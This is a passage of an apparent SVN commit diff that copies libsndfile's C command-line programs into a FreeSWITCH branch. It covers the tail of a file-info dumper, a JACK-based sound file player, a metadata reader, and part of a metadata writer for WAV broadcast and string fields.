+	putchar ('\n') ;
+
+	sf_close (file) ;
+
+} /* info_dump */
+
+/*==============================================================================
+**	Dumping of SF_INSTRUMENT data.
+*/
+
+static const char *
+str_of_type (int mode)
+{	switch (mode)
+	{	case SF_LOOP_NONE : return "none" ;
+		case SF_LOOP_FORWARD : return "fwd " ;
+		case SF_LOOP_BACKWARD : return "back" ;
+		case SF_LOOP_ALTERNATING : return "alt " ;
+		default : break ;
+		} ;
+
+	return "????" ;
+} /* str_of_mode */
+
+static int
+instrument_dump (const char *filename)
+{	SNDFILE	 *file ;
+	SF_INFO	 sfinfo ;
+	SF_INSTRUMENT inst ;
+	int got_inst, k ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	if ((file = sf_open (filename, SFM_READ, &sfinfo)) == NULL)
+	{	printf ("Error : Not able to open input file %s.\n", filename) ;
+		fflush (stdout) ;
+		memset (data, 0, sizeof (data)) ;
+		puts (sf_strerror (NULL)) ;
+		return 1 ;
+		} ;
+
+	got_inst = sf_command (file, SFC_GET_INSTRUMENT, &inst, sizeof (inst)) ;
+	sf_close (file) ;
+
+	if (got_inst == SF_FALSE)
+	{	printf ("Error : File '%s' does not contain instrument data.\n\n", filename) ;
+		return 1 ;
+		} ;
+
+	printf ("Instrument : %s\n\n", filename) ;
+	printf ("  Gain        : %d\n", inst.gain) ;
+	printf ("  Base note   : %d\n", inst.basenote) ;
+	printf ("  Velocity    : %d - %d\n", (int) inst.velocity_lo, (int) inst.velocity_hi) ;
+	printf ("  Key         : %d - %d\n", (int) inst.key_lo, (int) inst.key_hi) ;
+	printf ("  Loop points : %d\n", inst.loop_count) ;
+
+	for (k = 0 ; k < inst.loop_count ; k++)
+		printf ("  %-2d    Mode : %s    Start : %6d   End : %6d   Count : %6d\n", k, str_of_type (inst.loops [k].mode), inst.loops [k].start, inst.loops [k].end, inst.loops [k].count) ;
+
+	putchar ('\n') ;
+	return 0 ;
+} /* instrument_dump */
+
+static int
+broadcast_dump (const char *filename)
+{	SNDFILE	 *file ;
+	SF_INFO	 sfinfo ;
+	SF_BROADCAST_INFO_2K bext ;
+	double time_ref_sec ;
+	int got_bext ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	if ((file = sf_open (filename, SFM_READ, &sfinfo)) == NULL)
+	{	printf ("Error : Not able to open input file %s.\n", filename) ;
+		fflush (stdout) ;
+		memset (data, 0, sizeof (data)) ;
+		puts (sf_strerror (NULL)) ;
+		return 1 ;
+		} ;
+
+	memset (&bext, 0, sizeof (SF_BROADCAST_INFO_2K)) ;
+
+	got_bext = sf_command (file, SFC_GET_BROADCAST_INFO, &bext, sizeof (bext)) ;
+	sf_close (file) ;
+
+	if (got_bext == SF_FALSE)
+	{	printf ("Error : File '%s' does not contain broadcast information.\n\n", filename) ;
+		return 1 ;
+		} ;
+
+	/*
+	**	From : http://www.ebu.ch/en/technical/publications/userguides/bwf_user_guide.php
+	**
+	**	Time Reference:
+	**		This field is a count from midnight in samples to the first sample
+	**		of the audio sequence.
+	*/
+
+	time_ref_sec = ((pow (2.0, 32) * bext.time_reference_high) + (1.0 * bext.time_reference_low)) / sfinfo.samplerate ;
+
+	printf ("Description      : %.*s\n", (int) sizeof (bext.description), bext.description) ;
+	printf ("Originator       : %.*s\n", (int) sizeof (bext.originator), bext.originator) ;
+	printf ("Origination ref  : %.*s\n", (int) sizeof (bext.originator_reference), bext.originator_reference) ;
+	printf ("Origination date : %.*s\n", (int) sizeof (bext.origination_date), bext.origination_date) ;
+	printf ("Origination time : %.*s\n", (int) sizeof (bext.origination_time), bext.origination_time) ;
+
+	if (bext.time_reference_high == 0 && bext.time_reference_low == 0)
+		printf ("Time ref         : 0\n") ;
+	else
+		printf ("Time ref         : 0x%x%08x (%.6f seconds)\n", bext.time_reference_high, bext.time_reference_low, time_ref_sec) ;
+
+	printf ("BWF version      : %d\n", bext.version) ;
+	printf ("UMID             : %.*s\n", (int) sizeof (bext.umid), bext.umid) ;
+	printf ("Coding history   : %.*s\n", bext.coding_history_size, bext.coding_history) ;
+
+	return 0 ;
+} /* broadcast_dump */
+
+static void
+total_dump (void)
+{	printf ("========================================\n") ;
+	printf ("Total Duration : %s\n", format_duration_str (total_seconds)) ;
+} /* total_dump */

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-jackplay.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-jackplay.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-jackplay.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-jackplay.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-jackplay.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,277 @@
+/*
+** Copyright (c) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2007 Jonatan Liljedahl <lijon@kymatica.com>
+**
+** This program is free software ; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation ; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY ; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program ; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+
+#if HAVE_JACK
+
+#include <math.h>
+#include <pthread.h>
+
+#include <jack/jack.h>
+#include <jack/ringbuffer.h>
+
+#include <sndfile.h>
+
+#define RB_SIZE (1 << 16)
+
+typedef struct _thread_info
+{	pthread_t thread_id ;
+	SNDFILE *sndfile ;
+	jack_nframes_t pos ;
+	jack_client_t *client ;
+	unsigned int channels ;
+	volatile int can_process ;
+	volatile int read_done ;
+	volatile int play_done ;
+} thread_info_t ;
+
+pthread_mutex_t disk_thread_lock = PTHREAD_MUTEX_INITIALIZER ;
+pthread_cond_t data_ready = PTHREAD_COND_INITIALIZER ;
+
+static jack_ringbuffer_t *ringbuf ;
+static jack_port_t **output_port ;
+static jack_default_audio_sample_t ** outs ;
+const size_t sample_size = sizeof (jack_default_audio_sample_t) ;
+
+static int
+process (jack_nframes_t nframes, void * arg)
+{
+	thread_info_t *info = (thread_info_t *) arg ;
+	jack_default_audio_sample_t buf [info->channels] ;
+	unsigned i, n ;
+
+	if (! info->can_process)
+		return 0 ;
+
+	for (n = 0 ; n < info->channels ; n++)
+		outs [n] = jack_port_get_buffer (output_port [n], nframes) ;
+
+	for (i = 0 ; i < nframes ; i++)
+	{	size_t read_cnt ;
+
+		/* Read one frame of audio. */
+		read_cnt = jack_ringbuffer_read (ringbuf, (void*) buf, sample_size*info->channels) ;
+		if (read_cnt == 0 && info->read_done)
+		{	/* File is done, so stop the main loop. */
+			info->play_done = 1 ;
+			return 0 ;
+			} ;
+
+		/* Update play-position counter. */
+		info->pos += read_cnt / (sample_size*info->channels) ;
+
+		/* Output each channel of the frame. */
+		for (n = 0 ; n < info->channels ; n++)
+			outs [n][i] = buf [n] ;
+		} ;
+
+	/* Wake up the disk thread to read more data. */
+	if (pthread_mutex_trylock (&disk_thread_lock) == 0)
+	{	pthread_cond_signal (&data_ready) ;
+		pthread_mutex_unlock (&disk_thread_lock) ;
+		} ;
+
+	return 0 ;
+} /* process */
+
+static void *
+disk_thread (void *arg)
+{	thread_info_t *info = (thread_info_t *) arg ;
+	sf_count_t buf_avail, read_frames ;
+	jack_ringbuffer_data_t vec [2] ;
+	size_t bytes_per_frame = sample_size*info->channels ;
+
+	pthread_setcanceltype (PTHREAD_CANCEL_ASYNCHRONOUS, NULL) ;
+	pthread_mutex_lock (&disk_thread_lock) ;
+
+	while (1)
+	{	jack_ringbuffer_get_write_vector (ringbuf, vec) ;
+
+		read_frames = 0 ;
+
+		if (vec [0].len)
+		{	/* Fill the first part of the ringbuffer. */
+			buf_avail = vec [0].len / bytes_per_frame ;
+			read_frames = sf_readf_float (info->sndfile, (float *) vec [0].buf, buf_avail) ;
+			if (vec [1].len)
+			{	/* Fill the second part of the ringbuffer? */
+				buf_avail = vec [1].len / bytes_per_frame ;
+				read_frames += sf_readf_float (info->sndfile, (float *) vec [1].buf, buf_avail) ;
+				} ;
+			} ;
+
+		if (read_frames == 0)
+			break ; /* end of file? */
+
+		jack_ringbuffer_write_advance (ringbuf, read_frames * bytes_per_frame) ;
+
+		/* Tell process that we've filled the ringbuffer. */
+		info->can_process = 1 ;
+
+		/* Wait for the process thread to wake us up. */
+		pthread_cond_wait (&data_ready, &disk_thread_lock) ;
+		} ;
+
+	/* Tell that we're done reading the file. */
+	info->read_done = 1 ;
+	pthread_mutex_unlock (&disk_thread_lock) ;
+
+	return 0 ;
+} /* disk_thread */
+
+static void
+jack_shutdown (void *arg)
+{	(void) arg ;
+	exit (1) ;
+} /* jack_shutdown */
+
+static void
+print_time (jack_nframes_t pos, int jack_sr)
+{	float sec = pos / (1.0 * jack_sr) ;
+	int min = sec / 60.0 ;
+	fprintf (stderr, "%02d:%05.2f", min, fmod (sec, 60.0)) ;
+} /* print_time */
+
+int
+main (int narg, char * args [])
+{
+	SNDFILE *sndfile ;
+	SF_INFO sndfileinfo ;
+	jack_client_t *client ;
+	thread_info_t info ;
+	int i, jack_sr ;
+
+	if (narg < 2)
+	{	fprintf (stderr, "no soundfile given\n") ;
+		return 1 ;
+		} ;
+
+	// create jack client
+	if ((client = jack_client_new ("jackplay")) == 0)
+	{
+		fprintf (stderr, "Jack server not running?\n") ;
+		return 1 ;
+		} ;
+
+	jack_sr = jack_get_sample_rate (client) ;
+
+	/* Open the soundfile. */
+	sndfileinfo.format = 0 ;
+	sndfile = sf_open (args [1], SFM_READ, &sndfileinfo) ;
+	if (sndfile == NULL)
+	{	fprintf (stderr, "Could not open soundfile '%s'\n", args [1]) ;
+		return 1 ;
+		} ;
+
+	fprintf (stderr, "Channels    : %d\nSample rate : %d Hz\nDuration    : ", sndfileinfo.channels, sndfileinfo.samplerate) ;
+
+	print_time (sndfileinfo.frames, sndfileinfo.samplerate) ;
+	fprintf (stderr, "\n") ;
+
+	if (sndfileinfo.samplerate != jack_sr)
+		fprintf (stderr, "Warning: samplerate of soundfile (%d Hz) does not match jack server (%d Hz).\n", sndfileinfo.samplerate, jack_sr) ;
+
+	/* Init the thread info struct. */
+	memset (&info, 0, sizeof (info)) ;
+	info.can_process = 0 ;
+	info.read_done = 0 ;
+	info.play_done = 0 ;
+	info.sndfile = sndfile ;
+	info.channels = sndfileinfo.channels ;
+	info.client = client ;
+	info.pos = 0 ;
+
+	/* Set up callbacks. */
+	jack_set_process_callback (client, process, &info) ;
+	jack_on_shutdown (client, jack_shutdown, 0) ;
+
+	/* Allocate output ports. */
+	output_port = calloc (sndfileinfo.channels, sizeof (jack_port_t *)) ;
+	outs = calloc (sndfileinfo.channels, sizeof (jack_default_audio_sample_t *)) ;
+	for (i = 0 ; i < sndfileinfo.channels ; i++)
+	{	char name [16] ;
+
+		snprintf (name, sizeof (name), "out_%d", i + 1) ;
+		output_port [i] = jack_port_register (client, name, JACK_DEFAULT_AUDIO_TYPE, JackPortIsOutput, 0) ;
+		} ;
+
+	/* Allocate and clear ringbuffer. */
+	ringbuf = jack_ringbuffer_create (sizeof (jack_default_audio_sample_t) * RB_SIZE) ;
+	memset (ringbuf->buf, 0, ringbuf->size) ;
+
+	/* Activate client. */
+	if (jack_activate (client))
+	{	fprintf (stderr, "Cannot activate client.\n") ;
+		return 1 ;
+		} ;
+
+	/* Auto connect all channels. */
+	for (i = 0 ; i < sndfileinfo.channels ; i++)
+	{	char name [64] ;
+
+		snprintf (name, sizeof (name), "alsa_pcm:playback_%d", i + 1) ;
+
+		if (jack_connect (client, jack_port_name (output_port [i]), name))
+			fprintf (stderr, "Cannot connect output port %d (%s).\n", i, name) ;
+		} ;
+
+	/* Start the disk thread. */
+	pthread_create (&info.thread_id, NULL, disk_thread, &info) ;
+
+	/* Sit in a loop, displaying the current play position. */
+	while (! info.play_done)
+	{	fprintf (stderr, "\r-> ") ;
+		print_time (info.pos, jack_sr) ;
+		fflush (stdout) ;
+		usleep (50000) ;
+		} ;
+
+	/* Clean up. */
+	jack_client_close (client) ;
+	jack_ringbuffer_free (ringbuf) ;
+	sf_close (sndfile) ;
+	free (outs) ;
+	free (output_port) ;
+
+	puts ("") ;
+
+	return 0 ;
+} /* main */
+
+#else
+
+int
+main (void)
+{
+	puts (
+		"Sorry this program was compiled without libjack (which probably\n"
+		"only exists on Linux and Mac OSX) and hence doesn't work."
+		) ;
+
+	return 0 ;
+} /* main */
+
+#endif

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-get.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-get.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-metadata-get.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-get.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-get.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,176 @@
+/*
+** Copyright (C) 2008 George Blood Audio
+** Written by Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include <config.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <time.h>
+
+#include <sndfile.h>
+
+#include "common.h"
+
+#define	BUFFER_LEN		(1 << 16)
+
+static void usage_exit (const char *progname, int exit_code) ;
+static void process_args (SNDFILE * file, const SF_BROADCAST_INFO_2K * binfo, int argc, char * argv []) ;
+
+int
+main (int argc, char *argv [])
+{	SNDFILE *file ;
+	SF_INFO sfinfo ;
+	SF_BROADCAST_INFO_2K binfo ;
+	const char *progname ;
+	const char * filename = NULL ;
+	int	start ;
+
+	/* Store the program name. */
+	progname = strrchr (argv [0], '/') ;
+	progname = progname ? progname + 1 : argv [0] ;
+
+	/* Check if we've been asked for help. */
+	if (argc <= 2 || strcmp (argv [1], "--help") == 0 || strcmp (argv [1], "-h") == 0)
+		usage_exit (progname, 0) ;
+
+	if (argv [argc - 1][0] != '-')
+	{	filename = argv [argc - 1] ;
+		start = 1 ;
+		}
+	else if (argv [1][0] != '-')
+	{	filename = argv [1] ;
+		start = 2 ;
+		}
+	else
+	{	printf ("Error : Either the first or the last command line parameter should be a filename.\n\n") ;
+		exit (1) ;
+		} ;
+
+	/* Get the time in case we need it later. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	if ((file = sf_open (filename, SFM_READ, &sfinfo)) == NULL)
+	{	printf ("Error : Open of file '%s' failed : %s\n\n", filename, sf_strerror (file)) ;
+		exit (1) ;
+		} ;
+
+	memset (&binfo, 0, sizeof (binfo)) ;
+	if (sf_command (file, SFC_GET_BROADCAST_INFO, &binfo, sizeof (binfo)) == 0)
+		memset (&binfo, 0, sizeof (binfo)) ;
+
+	process_args (file, &binfo, argc - 2, argv + start) ;
+
+	sf_close (file) ;
+	return 0 ;
+} /* main */
+
+/*==============================================================================
+**	Print version and usage.
+*/
+
+static void
+usage_exit (const char *progname, int exit_code)
+{	printf ("\nUsage :\n  %s [options] <file>\n\nOptions:\n", progname) ;
+
+	puts (
+		"    --bext-description    Print the 'bext' description.\n"
+		"    --bext-originator     Print the 'bext; originator info.\n"
+		"    --bext-orig-ref       Print the 'bext' origination reference.\n"
+		"    --bext-umid           Print the 'bext' UMID.\n"
+		"    --bext-orig-date      Print the 'bext' origination date.\n"
+		"    --bext-orig-time      Print the 'bext' origination time.\n"
+		"    --bext-coding-hist    Print the 'bext' coding history.\n"
+		) ;
+
+	puts (
+		"    --str-title           Print the title metadata.\n"
+		"    --str-copyright       Print the copyright metadata.\n"
+		"    --str-artist          Print the artist metadata.\n"
+		"    --str-comment         Print the comment metadata.\n"
+		"    --str-date            Print the creation date metadata.\n"
+		"    --str-album           Print the album metadata.\n"
+		"    --str-license         Print the license metadata.\n"
+		) ;
+
+	exit (exit_code) ;
+} /* usage_exit */
+
+static void
+process_args (SNDFILE * file, const SF_BROADCAST_INFO_2K * binfo, int argc, char * argv [])
+{	const char * str ;
+	int k, do_all = 0 ;
+
+#define HANDLE_BEXT_ARG(cmd,name,field) \
+		if (do_all || strcmp (argv [k], cmd) == 0) \
+		{	printf ("%-20s : %.*s\n", name, (int) sizeof (binfo->field), binfo->field) ; \
+			if (! do_all) \
+				continue ; \
+			} ;
+
+#define HANDLE_STR_ARG(cmd,name,id) \
+		if (do_all || strcmp (argv [k], cmd) == 0) \
+		{	str = sf_get_string (file, id) ; \
+			printf ("%-20s : %s\n", name, str ? str : "") ; \
+			if (! do_all) continue ; \
+			} ;
+
+	for (k = 0 ; k < argc ; k++)
+	{	if (do_all || strcmp (argv [k], "--all") == 0)
+			do_all = 1 ;
+
+		HANDLE_BEXT_ARG ("--bext-description", "Description", description) ;
+		HANDLE_BEXT_ARG ("--bext-originator", "Originator", originator) ;
+		HANDLE_BEXT_ARG ("--bext-orig-ref", "Origination ref", originator_reference) ;
+		HANDLE_BEXT_ARG ("--bext-umid", "UMID", umid) ;
+		HANDLE_BEXT_ARG ("--bext-orig-date", "Origination date", origination_date) ;
+		HANDLE_BEXT_ARG ("--bext-orig-time", "Origination time", origination_time) ;
+		HANDLE_BEXT_ARG ("--bext-coding-hist", "Coding history", coding_history) ;
+
+		HANDLE_STR_ARG ("--str-title", "Name", SF_STR_TITLE) ;
+		HANDLE_STR_ARG ("--str-copyright", "Copyright", SF_STR_COPYRIGHT) ;
+		HANDLE_STR_ARG ("--str-artist", "Artist", SF_STR_ARTIST) ;
+		HANDLE_STR_ARG ("--str-comment", "Comment", SF_STR_COMMENT) ;
+		HANDLE_STR_ARG ("--str-date", "Create date", SF_STR_DATE) ;
+		HANDLE_STR_ARG ("--str-album", "Album", SF_STR_ALBUM) ;
+		HANDLE_STR_ARG ("--str-license", "License", SF_STR_LICENSE) ;
+
+		if (! do_all)
+		{	printf ("Error : Don't know what to do with command line arg '%s'.\n\n", argv [k]) ;
+			exit (1) ;
+			} ;
+		break ;
+		} ;
+
+	return ;
+} /* process_args */

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-set.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-set.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-metadata-set.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-set.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-metadata-set.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,280 @@
+/*
+** Copyright (C) 2008 George Blood Audio
+** Written by Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include <config.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <time.h>
+
+#include <sndfile.h>
+
+#include "common.h"
+
+#define	BUFFER_LEN		(1 << 16)
+
+
+static void usage_exit (const char *progname, int exit_code) ;
+static void missing_param (const char * option) ;
+static void read_localtime (struct tm * timedata) ;
+static int has_bext_fields_set (const METADATA_INFO * info) ;
+
+int
+main (int argc, char *argv [])
+{	METADATA_INFO info ;
+	struct tm timedata ;
+	const char *progname ;
+	const char * filenames [2] = { NULL, NULL } ;
+	int	k ;
+
+	/* Store the program name. */
+	progname = strrchr (argv [0], '/') ;
+	progname = progname ? progname + 1 : argv [0] ;
+
+	/* Check if we've been asked for help. */
+	if (argc < 3 || strcmp (argv [1], "--help") == 0 || strcmp (argv [1], "-h") == 0)
+		usage_exit (progname, 0) ;
+
+	/* Clear set all fields of the struct to zero bytes. */
+	memset (&info, 0, sizeof (info)) ;
+
+	/* Get the time in case we need it later. */
+	read_localtime (&timedata) ;
+
+	for (k = 1 ; k < argc ; k++)
+	{	char tmp [20] ;
+
+		if (argv [k][0] != '-')
+		{	if (filenames [0] == NULL)
+				filenames [0] = argv [k] ;
+			else if (filenames [1] == NULL)
+				filenames [1] = argv [k] ;
+			else
+			{	printf ("Error : Already have two file names on the command line and then found '%s'.\n\n", argv [k]) ;
+				usage_exit (progname, 1) ;
+				} ;
+			continue ;
+			} ;
+
+#define HANDLE_BEXT_ARG(cmd,field) \
+		if (strcmp (argv [k], cmd) == 0) \
+		{	k ++ ; \
+			if (k == argc) missing_param (argv [k - 1]) ; \
+			info.field = argv [k] ; \
+			continue ; \
+			} ;
+
+		HANDLE_BEXT_ARG ("--bext-description", description) ;
+		HANDLE_BEXT_ARG ("--bext-originator", originator) ;
+		HANDLE_BEXT_ARG ("--bext-orig-ref", originator_reference) ;
+		HANDLE_BEXT_ARG ("--bext-umid", umid) ;
+		HANDLE_BEXT_ARG ("--bext-orig-date", origination_date) ;
+		HANDLE_BEXT_ARG ("--bext-orig-time", origination_time) ;
+		HANDLE_BEXT_ARG ("--bext-coding-hist", coding_history) ;
+
+#define HANDLE_STR_ARG(cmd,field) \
+	if (strcmp (argv [k], cmd) == 0) \
+	{	k ++ ; \
+		if (k == argc) missing_param (argv [k - 1]) ; \
+		info.field = argv [k] ; \
+		continue ; \
+		} ;
+
+		HANDLE_STR_ARG ("--str-title", title) ;
+		HANDLE_STR_ARG ("--str-copyright", copyright) ;
+		HANDLE_STR_ARG ("--str-artist", artist) ;
+		HANDLE_STR_ARG ("--str-date", date) ;
+		HANDLE_STR_ARG ("--str-album", album) ;
+		HANDLE_STR_ARG ("--str-license", license) ;
+
+		/* Following options do not take an argument. */
+		if (strcmp (argv [k], "--bext-auto-time-date") == 0)
+		{	snprintf (tmp, sizeof (tmp), "%02d:%02d:%02d", timedata.tm_hour, timedata.tm_min, timedata.tm_sec) ;
+			info.origination_time = strdup (tmp) ;
+
+			snprintf (tmp, sizeof (tmp), "%04d-%02d-%02d", timedata.tm_year + 1900, timedata.tm_mon + 1, timedata.tm_mday) ;
+			info.origination_date = strdup (tmp) ;
+			continue ;
+			} ;
+
+		if (strcmp (argv [k], "--bext-auto-time") == 0)
+		{	snprintf (tmp, sizeof (tmp), "%02d:%02d:%02d", timedata.tm_hour, timedata.tm_min, timedata.tm_sec) ;
+			info.origination_time = strdup (tmp) ;
+			continue ;
+			} ;
+
+		if (strcmp (argv [k], "--bext-auto-date") == 0)
+		{	snprintf (tmp, sizeof (tmp), "%04d-%02d-%02d", timedata.tm_year + 1900, timedata.tm_mon + 1, timedata.tm_mday) ;
+			info.origination_date = strdup (tmp) ;
+			continue ;
+			} ;
+
+		if (strcmp (argv [k], "--str-auto-date") == 0)
+		{	snprintf (tmp, sizeof (tmp), "%04d-%02d-%02d", timedata.tm_year + 1900, timedata.tm_mon + 1, timedata.tm_mday) ;
+
+			info.date = strdup (tmp) ;
+			continue ;
+			} ;
+
+		printf ("Error : Don't know what to do with command line arg '%s'.\n\n", argv [k]) ;
+		usage_exit (progname, 1) ;
+		} ;
+
+	/* Find out if any of the 'bext' fields are set. */
+	info.has_bext_fields = has_bext_fields_set (&info) ;
+
+	if (filenames [0] == NULL)
+	{	printf ("Error : No input file specificed.\n\n") ;
+		exit (1) ;
+		} ;
+
+	if (filenames [1] != NULL && strcmp (filenames [0], filenames [1]) == 0)
+	{	printf ("Error : Input and output files are the same.\n\n") ;
+		exit (1) ;
+		} ;
+
+	if (info.coding_history != NULL && filenames [1] == NULL)
+	{	printf ("\n"
+			"Error : Trying to update coding history of an existing file which unfortunately\n"
+			"        is not supported. Instead, create a new file using :\n"
+			"\n"
+			"        %s --bext-coding-hist \"Coding history\" old_file.wav new_file.wav\n"
+			"\n",
+			progname) ;
+		exit (1) ;
+		} ;
+
+	sfe_apply_metadata_changes (filenames, &info) ;
+
+	return 0 ;
+} /* main */
+
+/*==============================================================================
+**	Print version and usage.
+*/
+
+static void
+usage_exit (const char *progname, int exit_code)
+{	printf ("\nUsage :\n\n"
+		"  %s [options] <file>\n"
+		"  %s [options] <input file> <output file>\n"
+		"\n",
+		progname, progname) ;
+
+	puts (
+		"Where an option is made up of a pair of a field to set (one of\n"
+		"the 'bext' or metadata fields below) and a string. Fields are\n"
+		"as follows :\n"
+		) ;
+
+	puts (
+		"    --bext-description       Set the 'bext' description.\n"
+		"    --bext-originator        Set the 'bext' originator.\n"
+		"    --bext-orig-ref          Set the 'bext' originator reference.\n"
+		"    --bext-umid              Set the 'bext' UMID.\n"
+		"    --bext-orig-date         Set the 'bext' origination date.\n"
+		"    --bext-orig-time         Set the 'bext' origination time.\n"
+		"    --bext-coding-hist       Set the 'bext' coding history\n"
+		"\n"
+		"    --str-title              Set the metadata title.\n"
+		"    --str-copyright          Set the metadata copyright.\n"
+		"    --str-artist             Set the metadata artist.\n"
+		"    --str-date               Set the metadata date.\n"
+		"    --str-album              Set the metadata album.\n"
+		"    --str-license            Set the metadata license.\n"
+		) ;
+
+	puts (
+		"There are also the following arguments which do not take a\n"
+		"parameter :\n\n"
+		"    --bext-auto-time-date    Set the 'bext' time and date to current time/date.\n"
+		"    --bext-auto-time         Set the 'bext' time to current time.\n"
+		"    --bext-auto-date         Set the 'bext' date to current date.\n"
+		"    --str-auto-date          Set the metadata date to current date.\n"
+		) ;
+
+	puts (
+		"Most of the above operations can be done in-place on an existing\n"
+		"file. If any operation cannot be performed, the application will\n"
+		"exit with an appropriate error message.\n"
+		) ;
+
+	exit (exit_code) ;
+} /* usage_exit */
+
+static void
+missing_param (const char * option)
+{
+	printf ("Error : Option '%s' needs a parameter but doesn't seem to have one.\n\n", option) ;
+	exit (1) ;
+} /* missing_param */
+
+/*==============================================================================
+*/
+
+static int
+has_bext_fields_set (const METADATA_INFO * info)
+{
+	if (info->description || info->originator || info->originator_reference)
+		return 1 ;
+
+	if (info->origination_date || info->origination_time || info->umid || info->coding_history)
+		return 1 ;
+
+	return 0 ;
+} /* has_bext_fields_set */
+
+static void
+read_localtime (struct tm * timedata)
+{	time_t		current ;
+
+	time (&current) ;
+	memset (timedata, 0, sizeof (struct tm)) ;
+
+#if defined (HAVE_LOCALTIME_R)
+	/* If the re-entrant version is available, use it. */
+	localtime_r (&current, timedata) ;
+#elif defined (HAVE_LOCALTIME)
+	{
+		struct tm	*tmptr ;
+		/* Otherwise use the standard one and copy the data to local storage. */
+		if ((tmptr = localtime (&current)) != NULL)
+			memcpy (timedata, tmptr, sizeof (struct tm)) ;
+	}
+#endif
+
+	return ;
